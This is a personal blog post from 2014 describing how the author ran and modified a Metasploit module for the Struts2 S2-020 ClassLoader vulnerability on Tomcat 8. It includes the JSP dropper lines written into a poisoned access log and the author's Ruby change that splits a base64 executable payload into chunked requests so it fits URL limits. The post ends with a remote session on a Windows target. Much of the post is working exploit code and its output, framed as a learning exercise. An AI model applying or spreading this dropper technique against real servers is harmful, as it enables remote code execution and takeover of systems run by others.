PentestsPL

PANhandler from /dev/null

STRUTS2 - S2-020 VULNERABILITY ANALYSIS (TOMCAT 8)

Struts2 team recently announced a vulnerability (S2-020 ) that allowed ClassLoader manipulation which can lead to Remote Code Execution on certain application servers (Tomcat 8 for sure). I’m not sure but fix for that was a simply regex which should prohibit sending malicious requests… BUT… there’s a way to bypass that regex and voila all Struts versions before 2.3.16.2 are vulnerable.

I’ve grabbed Metasploit module from  here, quickly checked the code and launched it. One important thing about that module is it will work only against Tomcat 8 with web app using Struts < 2.3.16.2. 

I was targeting Windows platform. Everything was going smooth, new logfile in docroot with jsp extension was created successfully. Payload has been transfered and… NOTHING. What the..? I’ve tried to open malicious „logfile” in browser and there it is… compilation error:

org.apache.jasper.JasperException: Unable to compile class for JSP:
An error occurred at line: 7 in the jsp file: /dvO0.jsp
String literal is not properly closed by a double-quote
4: 192.168.57.1 - - [07/May/2014:12:08:57 +0200] "GET eg9a6&lt;%@ page import="sun.misc.BASE64Decoder" %&gt; HTTP/1.1" 505 -
5: 192.168.57.1 - - [07/May/2014:12:08:57 +0200] "GET eg9a6&lt;%@ page import="java.io.File" %&gt; HTTP/1.1" 505 -
6: 192.168.57.1 - - [07/May/2014:12:08:57 +0200] "GET eg9a6&lt;% FileOutputStream oFile = new FileOutputStream("f3rYwz", false); %&gt; HTTP/1.1" 505 -
7: 192.168.57.1 - - [01/Jan/1970:00:59:59 +0100] "GET eg9a6&lt;% null" 400 -
8: 192.168.57.1 - - [07/May/2014:12:08:57 +0200] "GET eg9a6&lt;% oFile.flush(); %&gt; HTTP/1.1" 505 -
9: 192.168.57.1 - - [07/May/2014:12:08:57 +0200] "GET eg9a6&lt;% oFile.close(); %&gt; HTTP/1.1" 505 -
10: 192.168.57.1 - - [07/May/2014:12:08:57 +0200] "GET eg9a6&lt;% File f = new File("f3rYwz"); %&gt; HTTP/1.1" 505 –

Line 7… hmmmm… nice timestamp, can’t say. Looks like a bug in logging method (I might look into that later). I’ve checked module code and here is how this line should look:

<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>

Little different… by the way that’s the most important line in the whole dropper. It’ll write our payload (Base64 encoded) to a file on remote system. If you print that base64 encoded exe you will see it’s a long string, in my case 97K long. That’s too long, by default max url size is about 8K. I’ve made another test and this time set target as Java. Few secs later I’ve got session on the target. I’ve checked „logfile” and the payload. This time there was no need to use dropper. Java payload wasn’t the shortest one but Tomcat logged it without problems. Ok so now we know that exploit works.

My goal was simple. Make it work with exe payload. As beginner (I think I can call myself like that) this will give me valuable knowledge and new experience. First things first… Metasploit modules are written in Ruby. I knew what I wanted to do: take the long base64 string and split it into smaller chunks which will later be sent to target. I’ve dumped that string to file and started learning Ruby… Google -> “Ruby hello world” -> nothing new or special…. ”Ruby read file” -> ok got it working…. ”ruby split string every 2 characters” -> someone recommended “scan” method. Looks ok and working, even made a version with variable as max split/scan length. After few minutes of learning I was ready to edit Metasploit module.

Long story short I’ve changed line:

<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>

to:

<% StringBuilder sb = new StringBuilder(); %>

      eos

      Rex::Text.encode_base64(exe).scan(/.{1,#{datastore['CHUNK_SIZE']}}/).each do |i|

          dropper << "<% sb.append(\"#{i}\"); %>\n"
      end
      dropper << "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(sb.toString())); %>\n"

and appended rest of the dropper to variable. What that code do is simply take the base64 string, cut it into pieces of max length equal CHUNK_SIZE (I’ve added new option) and sends these pieces in separate requests. Because exe is now sent in many requests I had to recreate it in Java, hence use of StringBuilder which is then written to file. Time for test. Modifying ClassLoader… writing new logfile… sending dropper… executing new logfile… nothing. What the… ?

I’ve logged to my target to check files. Malicious logfile looks good, executable has been created and also looks good. The only odd thing I realized was no extension in created executable so I’ve modified module again and added extension to file (I’ve chosen .war to mimic web application archive file). Another test and hello remote session. System exploitation complete!

I’ve successfully modified Metasploit module and made it working. Now, let’s see why that exploit works… When user provide parameter with name “class.classLoader.” or “class[‘classLoader’].” getClass method is invoked in action class with later getClassLoader method. That gives attacker access to classLoader object and possibility to set its properties. I’ll look into that topic later and write my findings here.

Written on May 7, 2014